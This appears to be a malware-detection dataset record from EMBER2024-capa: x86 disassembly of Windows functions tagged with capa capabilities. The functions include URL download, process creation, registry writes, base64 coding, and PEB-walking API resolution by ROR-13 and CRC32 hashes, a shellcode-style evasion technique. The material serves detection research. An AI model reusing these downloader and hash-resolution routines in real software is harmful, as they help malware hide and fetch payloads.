joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b720
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x417230
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push edi
xor ebp, ebp
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], ebp
mov dword [esp + 0x10], ebp
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x30]
mov ebx, dword [sym.imp.MSVCRT.dll__mbscmp]
push 0x424ad0
push eax
mov byte [esp + 0x30], 3
mov dword [esp + 0x24], ebp
call ebx
add esp, 8
test eax, eax
jne 0x40b7de
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop ebp
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret 4
lea ecx, [esp + 0x10]
push 1
push ecx
push ebp
call sub.iphlpapi.dll_GetIpAddrTable
mov edx, dword [esp + 0x10]
push edx
call sub.MFC42.DLL_operatornew
mov edi, eax
add esp, 4
cmp edi, ebp
je 0x40b861
lea eax, [esp + 0x10]
push 1
push eax
push edi
call sub.iphlpapi.dll_GetIpAddrTable
cmp eax, ebp
jne 0x40b8b4
cmp dword [edi], ebp
jle 0x40b858
push esi
lea esi, [edi + 4]
mov eax, dword [esi]
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
lea ecx, [esp + 0x14]
push 0x421abc
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x40]
push edx
push eax
call ebx
add esp, 0x14
test eax, eax
jne 0x40b84d
mov ecx, dword [esi + 4]
mov dword [esp + 0x20], ecx
mov eax, dword [edi]
inc ebp
add esi, 0x18
cmp ebp, eax
jl 0x40b81b
pop esi
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x1c]
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret 4
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
pop edi
pop ebp
mov eax, 0xfffffffe
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 4
Function at 0x40cbe0
Capabilities:
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4175c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov esi, ecx
mov ebx, 1
lea ecx, [esp + 0x14]
mov dword [esp + 0x2c], ebx
call fcn.0040c920
mov eax, dword [esi + 4]
push ecx
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], esp
mov eax, esp
lea edx, [esp + 0x10]
push ecx
mov dword [esp + 0x24], ebx
push edx
mov byte [esp + 0x38], 2
mov dword [eax], 0x1e
call sub.MFC42.DLL_CTime::GetTickCount
mov ecx, eax
call fcn.004091b0
mov eax, dword [eax]
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x34]
push ecx
push 0
push edx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
test edi, edi
jl 0x40ccb2
mov ecx, dword [esi + 4]
push 0
call sub.MFC42.DLL_CWnd::ShowWindow
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], bl
call fcn.0040c980
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x24
ret 8
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
push 0
lea ecx, [esp + 0x10]
push 0
push ecx
push 0x400
push edi
push 0
push 0x1300
mov byte [esp + 0x48], 3
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
je 0x40cd03
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push edi
push 0x4239c0
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x1c]
add esp, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], bl
call fcn.0040c980
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
pop edi
pop esi
or eax, 0xffffffff
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret 8

Function at 0x40cd60
Capabilities:
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4175f5
push eax
mov eax, 0x8008
mov dword fs:[0], esp
call fcn.004156d0
push esi
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0xc]
push 0x7fff
push eax
mov dword [esp + 0x801c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 4]
push ecx
push 0x421abc
push edx
call sub.MFC42.DLL_CString::Format
mov esi, dword [esp + 0x8028]
add esp, 0xc
lea eax, [esp + 4]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x8014], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x800c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x8014
ret 4
Function at 0x40d020
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov edx, dword [esp + 4]
push ebx
push ebp
push esi
mov bl, byte [edx]
xor ecx, ecx
xor eax, eax
xor esi, esi
test bl, bl
mov ebp, edx
je 0x40d0b9
push edi
mov edi, dword [esp + 0x18]
movsx edx, byte [ebp]
mov edx, dword [edx*4 + 0x4239e4]
cmp edx, 0xffffffff
je 0x40d0b0
cmp esi, 3
ja case.default.0x40d053
jmp dword [esi*4 + 0x40d0c0]
mov esi, 1
jmp case.default.0x40d053
cmp eax, dword [esp + 0x1c]
jge 0x40d078
mov ebx, edx
sar ebx, 4
and bl, 3
shl cl, 2
or bl, cl
mov byte [eax + edi], bl
inc eax
mov esi, 2
jmp case.default.0x40d053
cmp eax, dword [esp + 0x1c]
jge 0x40d096
mov ebx, edx
sar ebx, 2
and bl, 0xf
shl cl, 4
or bl, cl
mov byte [eax + edi], bl
inc eax
mov esi, 3
jmp case.default.0x40d053
cmp eax, dword [esp + 0x1c]
jge 0x40d0ac
shl cl, 6
or cl, dl
mov byte [eax + edi], cl
inc eax
xor esi, esi
mov ecx, edx
mov dl, byte [ebp + 1]
inc ebp
test dl, dl
jne 0x40d03e
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x40d0d0
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x18]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
mov esi, 3
lea eax, [ecx + ebp - 1]
push edi
mov dword [esp + 0x28], eax
mov eax, ecx
cdq
idiv esi
mov eax, 0x55555556
mov byte [esp + 0x10], 0
mov byte [esp + 0x11], 0
mov byte [esp + 0x12], 0
mov esi, edx
neg esi
sbb esi, esi
imul ecx
mov ecx, edx
and esi, 4
shr ecx, 0x1f
add edx, ecx
lea edx, [esi + edx*4 + 1]
push edx
mov dword [esp + 0x18], edx
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
add esp, 4
xor esi, esi
cmp ebp, ecx
mov dword [edi], eax
mov dword [esp + 0x24], esi
mov ebx, ebp
ja 0x40d22f
mov eax, dword [esp + 0x24]
mov ebp, 3
cdq
idiv ebp
mov ebp, edx
mov dl, byte [ebx]
cmp ebp, 2
mov byte [esp + ebp + 0x10], dl
je 0x40d164
cmp ebx, ecx
jne 0x40d21d
mov al, byte [esp + 0x10]
mov cl, al
and al, 3
shr cl, 2
mov byte [esp + 0x18], cl
mov cl, byte [esp + 0x11]
mov dl, cl
and cl, 0xf
shl al, 4
shr dl, 4
or al, dl
mov byte [esp + 0x19], al
mov al, byte [esp + 0x12]
mov dl, al
and al, 0x3f
shl cl, 2
shr dl, 6
or cl, dl
mov byte [esp + 0x1b], al
mov byte [esp + 0x1a], cl
mov ecx, dword [edi]
mov eax, dword [esp + 0x18]
and eax, 0xff
inc esi
mov dl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [esp + 0x19]
and eax, 0xff
mov byte [ecx + esi - 1], dl
mov ecx, dword [edi]
inc esi
mov dl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi - 1], dl
test ebp, ebp
jne 0x40d1d4
mov al, 0x3d
jmp 0x40d1e3
mov eax, dword [esp + 0x1a]
and eax, 0xff
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov ecx, dword [edi]
inc esi
cmp ebp, 2
mov byte [ecx + esi - 1], al
jge 0x40d1f3
mov al, 0x3d
jmp 0x40d203
mov edx, dword [esp + 0x1b]
and edx, 0xff
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov ecx, dword [edi]
inc esi
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], 0
mov byte [ecx + esi - 1], al
mov ecx, dword [esp + 0x28]
mov byte [esp + 0x10], 0
mov ebp, dword [esp + 0x24]
inc ebp
inc ebx
cmp ebx, ecx
mov dword [esp + 0x24], ebp
jbe 0x40d143
mov edx, dword [edi]
mov eax, dword [esp + 0x14]
pop edi
mov byte [edx + esi], 0
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0xc
Function at 0x40e0b0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4178f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
lea ecx, [esp + 4]
mov dword [esp + 0x14], 1
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x20]
lea eax, [esp + 8]
lea ecx, [esp]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40e14c
lea ecx, [esp + 4]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 0x14
mov eax, dword [esp + 0x28]
dec eax
je 0x40e181
sub eax, 3
jne 0x40e19e
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 4]
add esp, 4
lea edx, [esp + 0x20]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
push 4
push edx
push 4
push 0
push eax
push ecx
jmp 0x40e198
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 8]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 4]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x18
ret 0x14
Function at 0x40f416
Capabilities:
Access peb ldr_data
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
mov ecx, 0x424de8
jmp 0x40f400
push 0xffffffffffffffff
push 0x417f7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 8]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0xc]
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x10]
mov byte [esp + 0x10], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x18]
mov byte [esp + 0x10], 2
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x1c]
mov byte [esp + 0x10], 3
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x24]
mov byte [esp + 0x10], 4
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x28]
mov byte [esp + 0x10], 5
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x2c]
mov byte [esp + 0x10], 6
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x30]
mov byte [esp + 0x10], 7
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x34]
mov byte [esp + 0x10], 8
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x38]
mov byte [esp + 0x10], 9
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x3c]
mov byte [esp + 0x10], 0xa
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x40]
mov byte [esp + 0x10], 0xb
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x48]
mov byte [esp + 0x10], 0xc
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x50]
mov byte [esp + 0x10], 0xd
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x54]
mov byte [esp + 0x10], 0xe
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x5c]
mov byte [esp + 0x10], 0xf
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x64]
mov byte [esp + 0x10], 0x10
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40f570
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x417fa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5c
push ebx
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
xor ebx, ebx
lea ecx, [esp + 0xc]
mov dword [esp + 0x6c], ebx
call sub.MFC42.DLL_CString::CString_1
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x6c], 1
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edx, dword [0x424e28]
mov eax, dword [0x424e18]
mov ecx, dword [0x424e10]
push edx
push eax
push ecx
lea edx, [esp + 0x14]
push str._s___config__s___log__s
push edx
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x60], 0x101
mov word [esp + 0x64], bx
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea eax, [esp + 0x10]
mov edx, dword [esp + 8]
lea ecx, [esp + 0x20]
push eax
push ecx
push ebx
push ebx
push 0x30
push 1
push ebx
push ebx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40f677
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x10]
push str.CreateProcess_failed____d_
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0xc]
mov byte [esp + 0x6c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x6c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x5c]
mov dword fs:[0], ecx
add esp, 0x68
ret
lea ecx, [esp + 0xc]
mov byte [esp + 0x6c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x6c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x64]
pop edi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x68
ret
Function at 0x410060
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4180d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push edi
mov edi, ecx
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 3
call sub.MFC42.DLL_CString::CString_1
push 0x424e74
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 4
call fcn.0041529c
mov eax, dword [esp + 8]
push 0x424ad0
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::MakeLower
push 0x421ac4
push 0x424044
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Replace_1
mov ecx, dword [esp + 8]
push 0x7c
push 0
lea edx, [esp + 0x14]
push ecx
push edx
mov esi, 1
call sub.MFC42.DLL_AfxExtractSubString
test eax, eax
je 0x4101b4
push 0x424ad0
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
push 0x424ad0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0xc]
push 0x3d
push 0
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_AfxExtractSubString
mov edx, dword [esp + 0xc]
push 0x3d
push 1
lea eax, [esp + 0x18]
push edx
push eax
call sub.MFC42.DLL_AfxExtractSubString
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
mov byte [esp + 0x38], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, edi
mov byte [esp + 0x34], 4
call fcn.004103f0
mov ecx, dword [esp + 8]
mov eax, esi
push 0x7c
push eax
lea edx, [esp + 0x14]
push ecx
push edx
inc esi
call sub.MFC42.DLL_AfxExtractSubString
test eax, eax
jne 0x410122
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
pop edi
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
Function at 0x410220
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x418118
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
push edi
mov edi, ecx
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 3
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::CString_1
push 0x424e78
lea ecx, [esp + 0xc]
mov byte [esp + 0x34], 5
call fcn.0041529c
mov eax, dword [esp + 8]
push 0x424ad0
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::MakeLower
push 0x421ac4
push 0x424044
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Replace_1
mov ecx, dword [esp + 8]
push 0x7c
push 0
lea edx, [esp + 0x14]
push ecx
push edx
mov esi, 1
call sub.MFC42.DLL_AfxExtractSubString
test eax, eax
je 0x410382
push 0x424ad0
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
push 0x424ad0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0xc]
push 0x3d
push 0
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_AfxExtractSubString
mov edx, dword [esp + 0xc]
push 0x3d
push 1
lea eax, [esp + 0x18]
push edx
push eax
call sub.MFC42.DLL_AfxExtractSubString
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x3c], 6
call sub.MFC42.DLL_CString::CString_2
mov ecx, edi
mov byte [esp + 0x38], 5
call fcn.00410d30
mov ecx, dword [esp + 8]
mov eax, esi
push 0x7c
push eax
lea edx, [esp + 0x14]
push ecx
push edx
inc esi
call sub.MFC42.DLL_AfxExtractSubString
test eax, eax
jne 0x4102f0
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
pop edi
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0x2c
ret
Function at 0x40d13f
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40d160
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40d157
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40d14f
mov eax, ebx
leave
ret

Function at 0x40d186
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x40d1e5
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40d212
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40d201
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40d1f2
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x40d238
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x40d1d9
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8